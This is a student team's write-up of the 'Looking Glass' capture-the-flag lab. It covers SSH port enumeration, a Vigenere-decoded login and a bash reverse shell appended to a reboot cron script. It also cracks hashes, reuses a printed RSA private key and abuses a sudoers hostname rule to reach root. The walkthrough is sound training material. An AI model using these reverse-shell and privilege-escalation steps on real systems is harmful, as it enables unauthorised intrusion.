

PenTest 1

Looking Glass

Cylert

Members

ID	Name	Role
1211101022	Ashley Sim Ci Hui	Leader
1211102285	Chin Shuang Ying	Member
1211102398	Nicholas Tiow Kai Bo	Member
1211103427	Law Chin Keat	Member

Pentest 1: Looking Glass

User Flag

Section: Recon and Enumeration

Members Involved: Ashley Sim Ci Hui & Nicholas Tiow Kai Bo

Tools used: Nmap, SSH, CyberChef, Vigenere solver on guballa.de, GNU nano

Thought Process and Methodology and Attempts:

The very first thing Ashley tried was a simple Nmap scan, but that didn't end up being very useful.

```
└─$ nmap 10.10.66.109
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-25 21:02 EDT
Nmap scan report for 10.10.66.109
Host is up (0.26s latency).
Not shown: 916 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
9000/tcp   open  cslistener
9001/tcp   open  tor-orport
9002/tcp   open  dynamid
9003/tcp   open  unknown
9009/tcp   open  pichat
9010/tcp   open  sdr
9011/tcp   open  d-star
9040/tcp   open  tor-trans
```

Thus, she decided to try an Nmap service scan with the commands -sV (version detection), -sC (script scan) and -oN (output in normal format).

```
└─$ nmap -sV -sC -oN service-scan 10.10.66.109
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-25 20:30 EDT
Nmap scan report for 10.10.66.109
Host is up (0.26s latency).
Not shown: 916 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_  2048 3f:15:19:70:35:fd:dd:0d:07:a0:50:a3:7d:fa:10:a0 (RSA)
|_  256 a8:67:5c:52:77:02:41:d7:90:e7:ed:32:d2:01:d9:65 (ECDSA)
|_  256 26:92:59:2d:5e:25:90:89:09:f5:e5:e0:33:81:77:6a (ED25519)
9000/tcp   open  ssh          Dropbear sshd (protocol 2.0)
| ssh-hostkey:
|_  2048 ff:f4:db:79:a9:bc:b8:8a:d4:3f:56:c2:cf:cb:7d:11 (RSA)
9001/tcp   open  ssh          Dropbear sshd (protocol 2.0)
```

Ashley saw that all of the ports are running on SSH, so she tried connecting to the first port in the list (22), but it gives her a password prompt, which she doesn't have yet.

```
└─$ ssh 10.10.66.109 -p 22
The authenticity of host '10.10.66.109 (10.10.66.109)' can't be established.
ED25519 key fingerprint is SHA256:xs9LzYRViB8jiE4uU7UlpLdwXgzR3sCZpTYFU2RgvJ4.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.66.109' (ED25519) to the list of known hosts.
1211101022@10.10.66.109's password:
```

Thus, Ashley tried connecting to the next port in the list, port 9000. This, however, comes up with the following error.

```
(1211101022@kali)~[~]
└─$ ssh 10.10.66.109 -p 9000
Unable to negotiate with 10.10.66.109 port 9000: no matching host key type found. Their offer: ssh-rsa
```

After searching around on Google, Ashley found out that she had to add the line **HostKeyAlgorithms +ssh-rsa** to my ssh_config file as a workaround. Because of that, she used **sudo su** to temporarily switch to the root user and used **chmod +rwx ssh_config** to make the ssh_config file writable, then added the line.

```
(1211101022@kali)-[/etc/ssh]
└─$ sudo su
[sudo] password for 1211101022:
(root@kali)-[/etc/ssh]
# chmod +rwx ssh_config

(root@kali)-[/etc/ssh]
# nano ssh_config
```

```
# Keychain
# UserKnownHostsFile ~/.ssh/known_hosts
SendEnv LANG LC_*
HashKnownHosts yes
GSSAPIAuthentication yes
HostKeyAlgorithms +ssh-rsa
```

After that, using SSH worked normally. Scanning port 9000 again gives Ashley the prompt “Lower”.

```
└─$ ssh 10.10.66.109 -p 9000
The authenticity of host '[10.10.66.109]:9000 ([10.10.66.109]:9000)' can't be established.
RSA key fingerprint is SHA256:iMwNI8HsNKOZQ700IFs1Qt8cf0ZDq2uI8dIK97XGPj0.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.66.109]:9000' (RSA) to the list of known hosts.
Lower
Connection to 10.10.66.109 closed.
```

Scanning port 13783, the last port on the list, gave Ashley the prompt “Higher”. With both these prompts combined, Ashley assumes that she has to iterate through the ports in the list until she finds the right one based on the hints given by the prompts.

```
└─$ ssh 10.10.66.109 -p 13783
The authenticity of host '[10.10.66.109]:13783 ([10.10.66.109]:13783)' can't be established.
RSA key fingerprint is SHA256:IMwNI8HsNkoZQ700IFs1Qt8cf0ZDq2uI8dIK97XGPj0.
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:4: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.66.109]:13783' (RSA) to the list of known hosts.
Higher
```

Out of all the ports in the list, she eventually inferred that the port is between 12174 to 12265. Based on that, she did more iterations through the ports until finding the correct one.

```
(1211101022@kali)-[~]
└─$ ssh 10.10.66.109 -p 12265
Higher
Connection to 10.10.66.109 closed.

(1211101022@kali)-[~]
└─$ ssh 10.10.66.109 -p 12174
Lower
Connection to 10.10.66.109 closed.
```

Finally, port 12202 turns out to be the right port.

```
└─$ ssh 10.10.66.109 -p 12202
You've found the real service.
Solve the challenge to get access to the box
Jabberwocky
'Mdes mgplmmz, cvs alv lsmtsn aowil
Fqs ncix hrd rxtbmi bp bwl arul;
Elw bpmte pgzt alv uvvordcet,
Egf bwl qffl vaewz ovxztiql.

'Fvphve ewl Jbfugzlvgb, ff woy!
Ioe kepu bwhx sbai, tst jlbal vppa grmj!
Bplhrf xag Rjinlu imro, pud tlnp
Bwl iintmofh Jachytachytal'
```

```
'Awbw utqasmx, tuh tst zljxaa bdcij
Wph gjgl aoh zkuqsi zg ale hpie;
Bpe oqbzc nxvi tst iosszqdtz,
Eew ale xdte semja dbxxkhfe.
Jdbr tivtmi pw sxderpIoeKeudmgdst
Enter Secret: █
```

Nicholas is given the Jabberwocky poem by Lewis Carroll, though it seems to be encrypted. It also prompts us to “Enter secret:” at the end.

```
└─$ ssh 10.10.66.109 -p 12202
You've found the real service.
Solve the challenge to get access to the box
Jabberwocky
'Mdes mgplmmz, cvs alv lsmtsn aowil
Fqs ncix hrd rxtbmi bp bwl arul;
Elw bpmte pgzt alv uvvordcet,
Egf bwl qffl vaewz ovxztiql.

'Fvphve ewl Jbfugzlvgb, ff woy!
Ioe kepu bwhx sbai, tst jlbal vppa grmj!
Bplhrf xag Rjinlu imro, pud tlnp
Bwl iintmofh Japhxtachxtal'

'Awbw utqasmx, tuh tst zljxaa bdcij
Wph gjgl aoh zkuqsi zg ale hpie;
Bpe oqbzc nxyi tst iosszqdtz,
Eew ale xdte semja dbxxkhfe.
Jdbr tivtmi pw sxderpIoeKeudmgdst
Enter Secret: █
```

Using CyberChef, Nicholas tried various decrypting operations. Most of them were either invalid or didn't amount to anything. The only outlier was the Vigenere cipher, which required a key that Nicholas didn't have. He decided to search up other online Vigenere ciphers and ended up on the website <https://www.guballa.de/vigenere-solver> that could help him brute force the key. Upon inputting the cipher text, Nicholas got the following result.

```
Clear text using key "thealphabetcipher":

'Twas brillig, and the slithy toves
Did gyre and gimble in the wabe;
All mimsy were the borogoves,
And the mome raths outgrabe.

'Beware the Jabberwock, my son!
The jaws that bite, the claws that catch!
Beware the Jubjub bird, and shun
The frumious Bandersnatch!'
```

So, now he has the key (thealphabetcipher) and the decoded poem. Scrolling all the way to the bottom gives him this:

```
'Twas brillig, and the slithy toves
Did gyre and gimble in the wabe;
All mimsy were the borogoves,
And the mome raths outgrabe.
Your secret is bewareTheJabberwock
```

Nicholas can use that “secret” as his input for the prompt given. The result it gave was **jabberwock:AccidentCoughWaxworksDecision**. Nicholas can assume these are login credentials in the form of username:password for port 22.

```
Enter Secret:
jabberwock:AccidentCoughWaxworksDecision
```

Nicholas tried using them as login credentials, and sure enough, he managed to get access to the box.

```
└─$ ssh jabberwock@10.10.66.109 -p 22
jabberwock@10.10.66.109's password:
Last login: Fri Jul 3 03:05:33 2020 from 192.168.170.1
jabberwock@looking-glass:~$
```

Using **ls** gives Nicholas the following three files. The file poem.txt is just the decrypted version of the Jabberwocky poem that was given earlier.

```
jabberwock@looking-glass:~$ ls
poem.txt  twasBrillig.sh  user.txt
```

The file user.txt, on the other hand, gives Nicholas the user flag backwards. Nicholas reversed the inverted user flag to normal sequence by using **cat user.txt | rev** command. Finally, it shows the user flag which is **thm{65d3710e9d75d5f346d2bac669119a23}**.

```
jabberwock@looking-glass:~$ cat user.txt
}32a911966cab2d643f5d57d9e0173d56{mht
jabberwock@looking-glass:~$ cat user.txt | rev
thm{65d3710e9d75d5f346d2bac669119a23}
```

Root Flag

Section: Initial Foothold and Horizontal Privilege Escalation

Members Involved: Law Chin Keat & Chin Shuang Ying

Tools used: CyberChef, Netcat, GNU nano, Crackstation, hashes.com, SSH, Python, Reverse shell script from hackingtutorials.org, Bash

Thought Process and Methodology and Attempts:

Upon checking the contents of the last file, **twasBrillig.sh**, Shuang Ying sees that it is a bash script. Presumably, we need to use this script to escalate our privileges. Searching up the “wall” command tells us that it’s used to display a message on the terminals of all logged-in users, which doesn’t seem very useful for escalating privileges.

```
jabberwock@looking-glass:~$ cat twasBrillig.sh
wall $(cat /home/jabberwock/poem.txt)
```

Using **sudo -l** to see a list of allowed commands, Shuang Ying see that user jabberwock is able to use the command **/sbin/reboot** without a password. Searching online tells her that this command is used to reboot the entire Linux system.

```
jabberwock@looking-glass:~$ sudo -l
Matching Defaults entries for jabberwock on looking-glass:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jabberwock may run the following commands on looking-glass:
    (root) NOPASSWD: /sbin/reboot
```

To see if there are any cron jobs running, Shuang Ying used **cat /etc/crontab**. This shows her that user tweedledum is running a cron job using the twasBrillig.sh script that only executes on reboot, which ties in to user jabberwock’s permission to run the **/sbin/reboot** command. From this, Shuang Ying can infer that if she manages to replace the twasBrillig.sh script with a reverse shell and then reboot the machine, she will be able to escalate our privileges.

```
jabberwock@looking-glass:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 * * * * root    cd / && run-parts --report /etc/cron.hourly
25 6 * * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
@reboot tweedledum bash /home/jabberwock/twasBrillig.sh
```

Upon Googling reverse shell scripts for Netcat, the website hackingtutorials.org gives us the following Bash command.

```
bash -i >& /dev/tcp/192.168.100.113/4444 0>&1
```

So, Shuang Ying appended the same command to the `twasBrillig.sh` script, replacing the IP to her attack machine's IP.

```
jabberwock@looking-glass:~$ echo 'bash -i >& /dev/tcp/10.8.6.83/1234 0>&1' >> twasBrillig.sh
```

Using `cat twasBrillig.sh`, we can see that we successfully appended the command.

```
jabberwock@looking-glass:~$ cat twasBrillig.sh
wall $(cat /home/jabberwock/poem.txt)
bash -i >& /dev/tcp/10.8.6.83/1234 0>&1
```

After that, Shuang Ying set up a Netcat listener on port 1234 because that is the port she used in the Bash script.

```
(1211101022@kali)-[~]
$ nc -lvnp 1234
listening on [any] 1234 ...
```

Shuang Ying then rebooted the machine with `sudo /sbin/reboot`.

```
jabberwock@looking-glass:~$ sudo /sbin/reboot
Connection to 10.10.98.216 closed by remote host.
Connection to 10.10.98.216 closed.
```

When the machine is done rebooting, Shuang Ying has successfully escalated to user `tweedledum`.

```
(1211101022@kali)-[~]
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.8.6.83] from (UNKNOWN) [10.10.66.109] 48312
bash: cannot set terminal process group (867): Inappropriate ioctl for device
bash: no job control in this shell
tweedledum@looking-glass:~$
```


Shuang Ying then stabilised the shell by using the following method:

```
tweedledum@looking-glass:~$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
tweedledum@looking-glass:~$ export TERM=xterm
export TERM=xterm
tweedledum@looking-glass:~$ ^Z
zsh: suspended nc -lvnp 1234

(1211101022@kali)-[~]
$ stty raw -echo; fg
[1] + continued nc -lvnp 1234
```

Shuang Ying saw that tweedledum's directory includes the files humptydumpty.txt and poem.txt. While poem.txt is just a regular poem, humptydumpty.txt seems to contain some kind of hash.

```
tweedledum@looking-glass:~$ ls -l
total 8
-rw-r--r-- 1 root root 520 Jul  3 2020 humptydumpty.txt
-rw-r--r-- 1 root root 296 Jul  3 2020 poem.txt
tweedledum@looking-glass:~$ cat poem.txt
'Tweedledum and Tweedledee
Agreed to have a battle;
For Tweedledum said Tweedledee
Had spoiled his nice new rattle.

Just then flew down a monstrous crow,
As black as a tar-barrel;
Which frightened both the heroes so,
They quite forgot their quarrel.'
tweedledum@looking-glass:~$ cat humptydumpty.txt
dcfff5eb40423f055a4cd0a8d7ed39ff6cb9816868f5766b4088b9e9906961b9
7692c3ad3540bb803c020b3aee66cd8887123234ea0c6e7143c0add73ff431ed
28391d3bc64ec15cbb090426b04aa6b7649c3cc85f11230bb0105e02d15e3624
b808e156d18d1cecdcc1456375f8cae994c36549a07c8c2315b473dd9d7f404f
fa51fd49abf67705d6a35d18218c115ff5633aec1f9ebfcd9d5d4956416f57f6
b9776d7ddf459c9ad5b0e1d6ac61e27befb5e99fd62446677600d7cacef544d0
5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8
7468652070617373776f7264206973207a797877767574737271706f6e6d6c6b
```

Using CyberChef did not give Shuang Ying any meaningful results, so she instead used the website <https://crackstation.net/>. Shuang Ying saw that all the lines are SHA256 except the last one. Using another website, <https://hashes.com/en/decrypt/hash>, Shuang Ying found that the last line is Hex encoded. It tells her that the password is **zyxwvutsrqponmlk**. Considering that the file name is humptydumpty.txt, this is presumably the password for user humptydumpty.

Hash	Type	Result
dcfff5eb40423f055a4cd0a8d7ed39ff6cb9816868f5766b4088b9e9906961b9	sha256	maybe
7692c3ad3540bb803c020b3aee66cd8887123234ea0c6e7143c0add73ff431ed	sha256	one
28391d3bc64ec15cbb090426b04aa6b7649c3cc85f11230bb0105e02d15e3624	sha256	of
b808e156d18d1cecdcc1456375f8cae994c36549a07c8c2315b473dd9d7f404f	sha256	these
fa51fd49abf67705d6a35d18218c115ff5633aec1f9ebfcd9d5d4956416f57f6	sha256	is
b9776d7ddf459c9ad5b0e1d6ac61e27befb5e99fd62446677600d7cacef544d0	sha256	the
5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8	sha256	password
7468652070617373776f7264206973207a797877767574737271706f6e6d6c6b	Unknown	Not found.

✓ Found:

```
28391d3bc64ec15cbb090426b04aa6b7649c3cc85f11230bb0105e02d15e3624:of
5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8:password
7692c3ad3540bb803c020b3aee66cd8887123234ea0c6e7143c0add73ff431ed:one
b808e156d18d1cecdcc1456375f8cae994c36549a07c8c2315b473dd9d7f404f:these
b9776d7ddf459c9ad5b0e1d6ac61e27befb5e99fd62446677600d7cacef544d0:the
dcfff5eb40423f055a4cd0a8d7ed39ff6cb9816868f5766b4088b9e9906961b9:maybe
fa51fd49abf67705d6a35d18218c115ff5633aec1f9ebfdc9d5d4956416f57f6:is
7468652070617373776f7264206973207a797877767574737271706f6e6d6c6b:the password is zyxwvutsrqponmlk
```

After that, Shuang Ying switches to user humptydumpty and enters the password given. She has successfully changed to user humptydumpty.

```
tweedledum@looking-glass:~$ su humptydumpty
Password:
humptydumpty@looking-glass:/home/tweedledum$
```

```
humptydumpty@looking-glass:/home/tweedledum$ cd ~
humptydumpty@looking-glass:~$ id
uid=1004(humptydumpty) gid=1004(humptydumpty) groups=1004(humptydumpty)
```

Section: Horizontal Privilege Escalation and Root Privilege Escalation

Members involved: Law Chin Keat

Tools used: SSH, lse.sh enumeration script, Wget, Python

Thought Process and Methodology and Attempts:

Upon changing to the home directory and using **ls -al**, Chin Keat sees the file poetry.txt. It doesn't contain anything useful for him for privilege escalation.

```
humptydumpty@looking-glass:~$ ls -al
total 28
drwx----- 3 humptydumpty humptydumpty 4096 Jul 26 03:56 .
drwxr-xr-x 8 root          root          4096 Jul 3  2020 ..
lrwxrwxrwx 1 root          root            9 Jul 3  2020 .bash_history -> /dev/null
-rw-r--r-- 1 humptydumpty humptydumpty  220 Jul 3  2020 .bash_logout
-rw-r--r-- 1 humptydumpty humptydumpty 3771 Jul 3  2020 .bashrc
drwx----- 3 humptydumpty humptydumpty 4096 Jul 26 03:56 .gnupg
-rw-r--r-- 1 humptydumpty humptydumpty  807 Jul 3  2020 .profile
-rw-r--r-- 1 humptydumpty humptydumpty 3084 Jul 3  2020 poetry.txt
```

Next, Chin Keat wants to see the home folder permissions. He notices that the alice home folder has odd and unusual permissions, so he changes the directory to it and looks around what is inside it.

```
humptydumpty@looking-glass:~$ cd /home
humptydumpty@looking-glass:/home$ ls -l
total 24
drwx--x--x 6 alice          alice          4096 Jul 3  2020 alice
drwx----- 3 humptydumpty humptydumpty 4096 Jul 26 03:03 humptydumpty
drwxrwxrwx 5 jabberwock    jabberwock    4096 Jul 26 02:36 jabberwock
drwx----- 5 tryhackme     tryhackme     4096 Jul 3  2020 tryhackme
drwx----- 3 tweedledee    tweedledee    4096 Jul 3  2020 tweedledee
drwx----- 2 tweedledum    tweedledum    4096 Jul 3  2020 tweedledum
```

Chin Keat is trying to find an SSH key that he can use for authentication instead of entering password to switch to user alice. He managed to successfully find an `id_rsa` file, and he notice that it is owned by humptydumpty, who is the user that he is currently logged in as.

```
humptydumpty@looking-glass:/home/alice$ ls -la .ssh/id_rsa
-rw----- 1 humptydumpty humptydumpty 1679 Jul 3  2020 .ssh/id_rsa
```

Chin Keat used **cat** on the file to view its contents.

```
humptydumpty@looking-glass:/home$ cat /home/alice/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEPgIBAAKCAQEAXmPncAXisNjbU2xizft4aYPqmfXm1735FPlGf4j9ExZhlmmd
NIRchPaFUqJXQZi5ryQH6YxZP5IIJXENK+a4WoRDyPoyGK/63rXTn/IWWKQka9tQ
2xrdnyxdwbtiKP1L4bq/4vU30UcA+aYHxqhyq39arpeceHVit+jVPriHiCA73k7g
HCgpkwWczNa5MMGo+1Cg4ifzffv4uhPkxBLLl3f4rBf84RmuKEEy6bYZ+/WOEgHl
fks5ngFniW7*2R3vyq7xyDrwiXEjfw4yYe+kLiGZyyk1ia7HGhNKpIRufPdJdT+r
NGrjYFLjhzeWYBmHx7JkhkEUFIVx6ZV1y+giHQIDAQABaoIBAQAIA5kCyMtQj
X2F+09J8qjvFzf+GS17lAIVuC5Ryqlxm5tsg4nUZvlRgfRMpn7hJAjD/bWfKLb7j
/pHmkU1C4WkaJdjpZhSPfGjxpK4UtKx3Uetjw+1eomIVNu6pkivJ0DyXVJiTZ5jF
ql2PZTVpwPtRw+RebKMwjqwo4k77Q30r8Kxr4UfX2hLHtHT8tsjqBUWrb/jlMHQ0
zmU73tuPVQSESEgeUP2j0lv7q5toEYieoA+7ULpGDwDn8PxQjCF/2QUa2jFalixsK
WfEcmTnIQDyOFWcbmgOvik4Lzk/rDGn9VjcYFxOpuj3XH2l8QDQ+GO+5BBg38+aJ
cUINwh4BAoGBAPdctuVRoAkFpyEofZxQFqPqw3LZyviKena/HyWLxXWHxG6ji7aW
DmtVXjjQ0wcj0LuDkT4QQvCJvRgbdBVGOFlOWZzLpYGJchxmLR+RHCb40pZjBgr5
8bjJlQcp6pplBRcf/OsG5ugpCiJsS6uA6CWWXe6WC7r7V94r5wzzJpWBaoGBAM1R
aCg1/2UxIOqxtAfQ+WDxqQQuq3szvrhep22McIUe83dh+hUibaPqR1nYy1sAAhgy
wJohLchlq4E1LhUmTZZquBwviU73fNRbID5pfn4LKL6/yiF/GWd+Zv+t9n9DDWKi
WgT9aG7N+TP/yimYniR2ePu/xKIjWX/uSs3rSLcFAoGBAOxvcFpM5Pz6rD8jZrzs
SFexY9P5n0pn4ppyICFRMhIfDYD7TeXeFDY/yOnhDyrJXcb0ARwjivhDLdxhzFkx
X1DPyif292GTsMC4xL0BhLkziIY6bGI9efC4rXvFcvrUqDyc9ZzoYflykL9KaCGr
+zLC0tJ8FQZKjDhOgnDkUPMBAoGBAMrVaXiQH8bwSfyRobE3GaZUFw0yreYAsKGj
oPPwkhxhA0UlxDITOQ1+HQ79xagY0fjl6rBZpska59u1ldj/BhdbRpdRvuxsQr3n
aGs//N64V4BaKG3/CjHcBhUA30vKCicvDI9xaQJOKardP/Ln+xM6lZrdsHwdQAXK
e8wCbMuhAoGBAOKy50naHwB8PcFcX68srFLX4W20NN6cFp12cU2QJy2MLGoFYBpa
dLnK/rW400JxgqIV69MjDsfrn1gZNhTTAyNnRMH1U7kuFPUB2ZXcmnCGLhAGEbY9
k6ywCnCTtZ2/sNEgNcx9/iZW+yVEm/4s9eonVimF+u19HJFOPJsAYxx0
-----END RSA PRIVATE KEY-----
```

Chin Keat can now SSH to user alice by using the file `id_rsa` as the parameter for `-i` (`-i` is for identity_file).

```
humptydumpty@looking-glass:/home/alice$ cd ..
rsaptydumpty@looking-glass:/home$ ssh alice@10.10.98.216 -i /home/alice/.ssh/id_
The authenticity of host '10.10.98.216 (10.10.98.216)' can't be established.
ECDSA key fingerprint is SHA256:kaci0m3nKZjBx4DS3cgsQa0DIVv86s9JtZ0m83r1Pu4.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.98.216' (ECDSA) to the list of known hosts.
Last login: Fri Jul 3 02:42:13 2020 from 192.168.170.1
alice@looking-glass:~$
```

Chin Keat has successfully switched to user alice.

```
alice@looking-glass:~$ id
uid=1005(alice) gid=1005(alice) groups=1005(alice)
```

Chin Keat first looks around alice's directories, but all he get is a kitten.txt that doesn't seem very useful.

```
alice@looking-glass:~$ ls -l
total 4
-rw-rw-r-- 1 alice alice 369 Jul  3 2020 kitten.txt
```

Since there's nothing useful to be found, Chin Keat decided to use an enumeration script, LinEnum.sh that he had used before. Chin Keat needed to set up a python server in his attackbox, and copy the script from the attackbox to the victim machine.

```
(1211103427@kali)-[~]
$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

```
alice@looking-glass:~$ wget http://10.8.92.117/LinEnum.sh
--2022-07-26 07:26:34-- http://10.8.92.117/LinEnum.sh
Connecting to 10.8.92.117:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [text/x-sh]
Saving to: 'LinEnum.sh'

LinEnum.sh          100%[=====>] 45.54K  112KB/s   in 0.4s

2022-07-26 07:26:35 (112 KB/s) - 'LinEnum.sh' saved [46631/46631]

alice@looking-glass:~$ ls
LinEnum.sh  kitten.txt
```

Run it.

```
alice@looking-glass:~$ chmod +x LinEnum.sh
alice@looking-glass:~$ ./LinEnum.sh

#####
# Local Linux Enumeration & Privilege Escalation Script #
#####
# www.rebootuser.com
# version 0.982

[-] Debug Info
[+] Thorough tests = Disabled
```

The output is too much, and it wastes a lot of Chin Keat's time if he scroll and see it one by one. Therefore, he copies the output to a txt file, and grep it by using the keyboard that he might need, 'sudoers'. But there is nothing, so he needed to use another enumeration script.

```
alice@looking-glass:~$ ./LinEnum.sh >> linenum.txt
alice@looking-glass:~$ ls
LinEnum.sh  kitten.txt  linenum.txt
```

```
alice@looking-glass:~$ cat linenum.txt | grep -e "sudoers"
alice@looking-glass:~$
```

Chin Keat decided to use lse.sh now, he downloads it to his attack box from the internet first.

```
(1211103427@kali)-[~]
$ wget "https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh" -O
lse.sh;chmod 700 lse.sh
--2022-07-25 23:17:29-- https://github.com/diego-treitos/linux-smart-enumeration/raw/mas
ter/lse.sh
Resolving github.com (github.com)... 20.205.243.166
Connecting to github.com (github.com)|20.205.243.166|:443 ... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/
lse.sh [following]
--2022-07-25 23:17:30-- https://raw.githubusercontent.com/diego-treitos/linux-smart-enum
eration/master/lse.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.1
99.111.133, 185.199.109.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443.
.. connected.
HTTP request sent, awaiting response... 200 OK
Length: 48061 (47K) [text/plain]
Saving to: 'lse.sh'

lse.sh                  100%[=====>] 46.93K  --.-KB/s    in 0.1s

2022-07-25 23:17:30 (459 KB/s) - 'lse.sh' saved [48061/48061]
```

Next, he wants to use the same method to copy it to the victim machine.

```
(1211103427@kali)-[~]
$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

```
alice@looking-glass:~$ wget http://10.8.92.117/lse.sh
--2022-07-26 08:44:25-- http://10.8.92.117/lse.sh
Connecting to 10.8.92.117:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 48061 (47K) [text/x-sh]
Saving to: 'lse.sh'

lse.sh                  100%[=====>] 46.93K  123KB/s    in 0.4s

2022-07-26 08:44:26 (123 KB/s) - 'lse.sh' saved [48061/48061]

alice@looking-glass:~$ ls
LinEnum.sh  kitten.txt  linenum.txt  lse.sh
```


Chin Keat runs the script now.

```
alice@looking-glass:~$ bash lse.sh -l 1
If you know the current user password, write it here to check sudo privileges:

LSE Version: 4.7nw

  User: alice
  User ID: 1005
  Password: none
  Home: /home/alice
  Path: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
  umask: 0002

  Hostname: looking-glass
  Linux: 4.15.0-109-generic
  Distribution: Ubuntu 18.04.4 LTS
  Architecture: x86_64
```

Chin Keat finally discovered the sudoers command that he is finding. As the line highlighted below. He knows there is a hostname which is ssalg-gnikool, and the command he can use to execute without password which is /bin/bash.

```
/usr/bin
/usr/games
/usr/local/bin
/usr/local/games
/usr/local/sbin
/usr/sbin

[!] usr080 Is '.' in a PATH variable defined inside /etc?..... nope
===== ( sudo ) =====
[!] sud000 Can we sudo without a password?..... nope
[!] sud010 Can we list sudo commands without a password?..... nope
[*] sud040 Can we read sudoers files?..... yes!

/etc/sudoers.d/alice:alice ssalg-gnikool = (root) NOPASSWD: /bin/bash

[*] sud050 Do we know if any other users used sudo?..... nope
```

Since Chin Keat does not have alice's password, he wants to use the hostname that he got just now. Throughout the searching on the internet, he got the command on how to use sudo with different hostname.

The sudo command can take a hostname parameter. eg.

```
sudo -h my-new-hostname reboot
```

P.S. After the reboot, it should all be happy assuming you've changed your hostname correctly.





Chin Keat runs the command and replaces the reboot with the command, /bin/bash, and he is in the root account now.

```
alice@looking-glass:~$ sudo -h ssalg-gnikool /bin/bash
sudo: unable to resolve host ssalg-gnikool
root@looking-glass:~# id
uid=0(root) gid=0(root) groups=0(root)
```

Chin Keat changes to the root directory. He uses **ls** command to list the existing directories/files. Then, he used the **cat** command to view the **root.txt** file. The inverted root flag is shown. In order to view the original root flag, Chin Keat used the **cat root.txt | rev** command. Finally, it shows the **root flag**, which is **thm{bc2337b6f97d057b01da718ced6ead3f}**.

```
root@looking-glass:~# cd /root
root@looking-glass:/root# ls
passwords passwords.sh root.txt the_end.txt
root@looking-glass:/root# cat root.txt
}f3dae6dec817ad10b750d79f6b7332cb{mht
root@looking-glass:/root# cat root.txt | rev
thm{bc2337b6f97d057b01da718ced6ead3f}
```


Contributions

ID	Name	Contribution	Signature
1211101022	Ashley Sim Ci Hui	Did the recon. Did the video editing and most of the write-up.	
1211102285	Chin Shuang Ying	Did the reverse shell. Performed the initial foothold and horizontal privilege escalation by pivoting to users tweedledum and humptydumpty.	
1211102398	Nicholas Tiow Kai Bo	Performed enumeration, decrypting of data and exploitation to the user account jabberwock to get the user flag.	
1211103427	Law Chin Keat	Performed horizontal privilege escalation to user alice, the roothold, and did root privilege escalation to get the root flag. Did the Write-Up.	

Video Link: <https://www.youtube.com/watch?v=JhvZ8l1BLl8&feature=youtu.be>